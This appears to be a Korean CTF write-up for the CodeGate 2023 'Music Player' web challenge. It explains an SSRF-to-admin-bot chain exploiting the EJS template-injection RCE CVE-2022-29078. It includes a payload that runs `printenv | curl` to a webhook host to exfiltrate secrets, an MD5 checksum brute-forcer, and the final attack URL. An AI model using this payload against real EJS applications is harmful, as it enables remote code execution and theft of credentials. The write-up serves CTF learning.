CTF

[CodeGate 2023] CODEGATE Music Player

wermut 2025. 3. 21. 02:53

 

codegate_music_player.zip
11.81MB
codegate_music_player.z01
19.53MB

 

 


 

 

 

문제 페이지에 접근한 모습

 

2년 전의 문제를 빌드하여 분석하다 보니 여러 문제가 존재해 문제 페이지에 접근했을 때 문제를 식별 불가하기에 바로 코드분석을 수행하였다.

 

// /server/app/main.js


/*

1. Packages are the latest.
   (as of June 2023)

2. This is a ChatGPT-oriented code.
   (Ref. https://twitter.com/brokenpacifist/status/1650955597414809600)

3. https://fe.gy/ stores copyright-free music data.
   Attacking the infrastructure (includes DDoS, dirbusting, etc.) is strictly prohibited.

*/

// the "cheese"
process.env.NODE_ENV = "production"
const SECRET = process.env.SECRET || "CHEESE_SECRET"
const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}"
const REDIS_URL_CACHE = process.env.REDIS_URL_CACHE || "redis://127.0.0.1:6379/0"
const REDIS_URL_QUERY = process.env.REDIS_URL_QUERY || "redis://127.0.0.1:6379/1"
const STATIC_HOST = process.env.STATIC_HOST || "http://localhost:5000/"
const DIFFICULTY = process.env.DIFFICULTY || 7
const APP_HOST = process.env.APP_HOST || "0.0.0.0"
const APP_PORT = process.env.APP_PORT || 5000

// express
const axios = require("axios")
const dns = require("dns")
const express = require("express")
const fs = require("fs")
const ip = require("ip")
const session = require("express-session")
const Redis = require("ioredis")
const crypto = require("crypto")
const cookieParser = require("cookie-parser")

// streaming contents
const contentList = fs.readFileSync("list.xml", { encoding: "utf8", flag: "r" })
const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]

// basic express setup
const app = express()
app.use(express.json())
app.use(cookieParser())
app.disable("x-powered-by")
app.set("title", "CODEGATE Music Player API")
app.set("view engine", "ejs")
app.use(session({
    secret: SECRET + FLAG,
    resave: true,
    saveUninitialized: true,
    cookie: {
        secure: false
    }
}))

// basic db setup
const redisCache = new Redis(REDIS_URL_CACHE)
const redisQuery = new Redis(REDIS_URL_QUERY)

// get last n characters of md5 result
const getLastCharacterMD5 = (s, n) => {
    const md5Hash = crypto.createHash("md5").update(s).digest("hex")
    const lastNCharacters = md5Hash.slice(-n)
    return lastNCharacters
}

// generate random string
const generateRandomString = (length) => {
    const characters = "abcdef0123456789"
    let result = ""

    for (let i = 0; i < length; i++) {
        const randomIndex = Math.floor(Math.random() * characters.length)
        result += characters.charAt(randomIndex)
    }

    return result
}

// unified send to reduce code lines
const sendResponse = (res, message, status=200) => {
    res.status(status)
    res.write(message)
    res.send()
}

// check internal ip
const isInternalIP = (ipAddress) => {
    return ip.isPrivate(ipAddress)
}

// get ip address
const getIPAddress = (domain) => {
    return new Promise((resolve, reject) => {
        dns.lookup(domain, (error, addresses) => {
            if (error) {
                resolve(domain)
            } else {
                resolve(addresses)
            }
        })
    })
}

// fetch streaming
app.get("/api/list", (req, res) => {
    return sendResponse(res, contentList)
})

// run streaming
app.get("/api/stream/:url", (req, res) => {

    try {
        let url = req.params.url
        const domain = new URL(url).hostname

        // prevent memory overload
        redisCache.dbsize((err, result) => {
            if(result >= 256){
                redisCache.flushdb()
            }
        })

        // preventing DNS attacks, etc.
        getIPAddress(domain)
            .then(ipAddress => {
                if(!url.startsWith("http://") && !url.startsWith("https://")){
                    url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
                }else{
                    if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
                }

                // redis || axios
                redisCache.get(url.split("?")[0], (err, result) => {
                    if (err || !result){
                        axios
                            .get(url, { responseType: "arraybuffer", timeout: 3000 })
                            .then(response => {
                                if (!allowedContentTypes.includes(response.headers["content-type"])){
                                    return sendResponse(res, "Not a valid music file", 500)
                                }
                                if (response.data.byteLength >= 1024 * 1024 * 3) {
                                    return sendResponse(res, "Music file is too big", 500)
                                }
                                redisCache.set(url, response.data.toString("hex"))
                                console.log(url)
                                return sendResponse(res, response.data)
                            })
                            .catch(err => {
                                return sendResponse(res, "No Hack!", 500)
                            })
                    }else{
                        return sendResponse(res, Buffer.from(result, "hex"))
                    }
                })
            })
            .catch(e => {
                return sendResponse(res, "No Hack!", 500)
            })
    } catch (err) {
        return sendResponse(res, "Failed Streaming!", 500)
    }
})

// inquiry
app.get("/api/inquiry", (req, res) => {
    if(!req.session.lastValue || !req.session.lastLength){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
    }

    if(!req.query.url || typeof req.query.url !== "string"){
        return sendResponse(res, "No Hack!", 500)
    }

    if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
    }

    redisQuery.rpush("query", req.query.url)
    req.session.lastLength = DIFFICULTY
    req.session.lastValue = generateRandomString(DIFFICULTY)

    return sendResponse(res, "Complete")
})

// inquiry
app.post("/api/messages", (req, res) => {
    const { id } = req.body
    if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("admin", {...id})
})

// get flag
app.patch("/api/flag", (req, res) => {
    const { flag } = req.body
    if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("flag", flag)
})

// 404
app.get("*", (req, res) => {
    return sendResponse(res, "404", 404)
})

// start
const start = async () => {
    try {
        await app.listen(APP_PORT, APP_HOST)
    } catch(err) {
        app.log.error(err)
        process.exit(1)
    }
}

start()

 

server 디렉터리의 main.js의 코드이다. 

flag에 집중해서 코드를 분석했을 때, /api/flag 경로에 PATCH 메서드로 접근 + SECRET 쿠키 값이 flag일 경우 flag를 반환하고 있었다.

 

또한 /api/messages 경로엔 SECRET 쿠키 값이 본문 코드에 정의된 SECRET 변수 값일 경우 admin 페이지를 랜더링 한다는 것을 알 수 있었다. admin.ejs 파일은 제공되지 않았다.

 

그러나 admin 페이지를 랜더링 할 때, 같이 전달받은 id값을 별도의 처리과정 없이 admin 페이지로 전달하며 SSTI 취약점이 트리거 가능하리라 추측이 가능했다.

 

/api/stream 경로는 SSRF를 필터링으로 방지하고 url을 받아 해당 url의 응답 결과를 반환해 주는 경로이며

 

/api/inquery 경로에선 몇 가지 조건문을 통과하면 Redis로 url을 push 할 수 있고, 이렇게 push 된 url은 추후 worker 디렉터리의 worker가 SECRET 쿠키 값으로 SECRET 변수 값을 가진 채로 방문하게 된다.

 


 

CVE-2022-29078

 

Node.js의 템플릿 엔진인 EJS에서 발생하는 취약점으로 3.1.6 버전 이하 버전에서 발생하는 SSTI RCE 취약점이다.

 

EJS는 템플릿을 랜더링 할 시 각 요청마다 독립적인 설정을 유지하기 위해 사용자가 전달한 옵션 객체등을 복사하여 적용하게 되는데, 이때 EJS가 shallow copy 즉 얕은 복사를 통해 객체의 최상위 속성만 복사되고,

 

중첩된 객체는 원본 객체와 참조를 공유해 한 요청에서 객체를 수정하면 다른 요청에서도 해당 변경이 반영되는 취약점으로, 사용자가 임의적으로 템플릿 내의 함수를 변경 가능해 exec 등의 함수를 불러와 이를 통해 RCE가 가능한 취약점이다.


 

Payload

 

<?php
header('Content-Type: audio/mpeg');
?>
<!doctype html>
<script>
(async () => {
    const r = await fetch('/api/messages', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            id: {
                settings: {
                    'view options': {
                        client: true,
                        escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
                    }
                }
            }
        })
    });
})();
</script>

 

따라서 위와 같이 취약점을 트리거해 환경 변수를 모두 base64 인코딩하여 지정한 web hook 사이트로 보내는 페이지를 구축한 다음,

 

worker의 쿠키 속성 중 cookie["domain"] = "nginx"을 만족시켜 주기 위해 /api/stream/:url 경로의 url로 해당 url을 전달한 다음 /api/inquery에서 이 전체 url을 전달한다면 bot이 이를 방문하며 flag를 반환할 것이다.

 

다만 /api/inquery와 /api/stream/:url의 조건문을 우회하기 위해 별도의 과정이 추가적으로 필요하다.

 

// /server/app/main.js
// /api/inquery

	if(!req.session.lastValue || !req.session.lastLength){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
    }

    if(!req.query.url || typeof req.query.url !== "string"){
        return sendResponse(res, "No Hack!", 500)
    }

    if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
        req.session.lastLength = DIFFICULTY
        req.session.lastValue = generateRandomString(DIFFICULTY)
        return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
    }

 

  1. 세션에 lastLength와 lastValue가 없을 경우 길이와 무작위 문자열을 생성해 반환 
  2. 쿼리 파라미터로 전달된 url과 checksum 값이 존재해야 함
  3. checksum의 MD5 해싱 결과 뒤 6자리가 lastValue와 일치해야 함

위 조건을 만족할 경우에만 Redis로 url을 push가능하다.

 

import hashlib

target = "[ lastValue ]"

def getLastCharacterMD5(s, n):
    md5Hash = hashlib.md5(s.encode()).hexdigest()
    lastNCharacters = md5Hash[-n:]
    return lastNCharacters

def brute_hash(target_hash):
    
    found = False
    attempt = 0
    string_to_hash = ""
    while not found: 
        attempt += 1
        string_to_hash = str(attempt)
        last_six_chars = getLastCharacterMD5(string_to_hash, 6)
        
        if last_six_chars == target_hash:
            found = True
            print(f"String: {string_to_hash}")
            print(f"MD5 Hash: {getLastCharacterMD5(string_to_hash, 6)}")
            break
            
    print("Brute force complete!")
    return string_to_hash
    
checksum = brute_hash(target)

 

따라서 위 코드를 통해 checksum 값을 구해 전달해 주면 /api/inquery의 필터링을 우회 가능하다.

 

// /server/app/main.js

app.get("/api/stream/:url", (req, res) => {

    try {
        let url = req.params.url
        const domain = new URL(url).hostname

        // prevent memory overload
        redisCache.dbsize((err, result) => {
            if(result >= 256){
                redisCache.flushdb()
            }
        })

        // preventing DNS attacks, etc.
        getIPAddress(domain)
            .then(ipAddress => {
                if(!url.startsWith("http://") && !url.startsWith("https://")){
                    url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
                }else{
                    if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
                }

                // redis || axios
                redisCache.get(url.split("?")[0], (err, result) => {
                    if (err || !result){
                        axios
                            .get(url, { responseType: "arraybuffer", timeout: 3000 })
                            .then(response => {
                                if (!allowedContentTypes.includes(response.headers["content-type"])){
                                    return sendResponse(res, "Not a valid music file", 500)
                                }
                                if (response.data.byteLength >= 1024 * 1024 * 3) {
                                    return sendResponse(res, "Music file is too big", 500)
                                }
                                redisCache.set(url, response.data.toString("hex"))
                                console.log(url)
                                return sendResponse(res, response.data)
                            })
                            .catch(err => {
                                return sendResponse(res, "No Hack!", 500)
                            })
                    }else{
                        return sendResponse(res, Buffer.from(result, "hex"))
                    }
                })
            })
            .catch(e => {
                return sendResponse(res, "No Hack!", 500)
            })
    } catch (err) {
        return sendResponse(res, "Failed Streaming!", 500)
    }
})

 

/api/stream의 경우 전달되는 url이 내부 IP가 아니어야 하고, content-type이 const allowedContentTypes, 즉 ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"] 중 하나여야 한다.

 

이를 모두 설정해 준다면 최종 페이로드는 다음과 같다.

 

url = http://[url]/api/inquiry?url=http%3A%2F%2Fnginx%2Fapi%2Fstream%2Fhttp%253A%252F%252F[url]%252Fsolve%2Ephp&checksum={checksum}

 

 

 

'CTF' 카테고리의 다른 글

[CodeGate 2024] Cha s Wall  (0) 2025.03.22
[CodeGate 2023] AI  (0) 2025.03.21
[CodeGate 2023] Calculator  (0) 2025.03.20
[ISITDTU CTF] Another one Write-Up  (0) 2025.02.27
[hkcert] Custom-Web-Server(1) Write Up  (0) 2025.02.27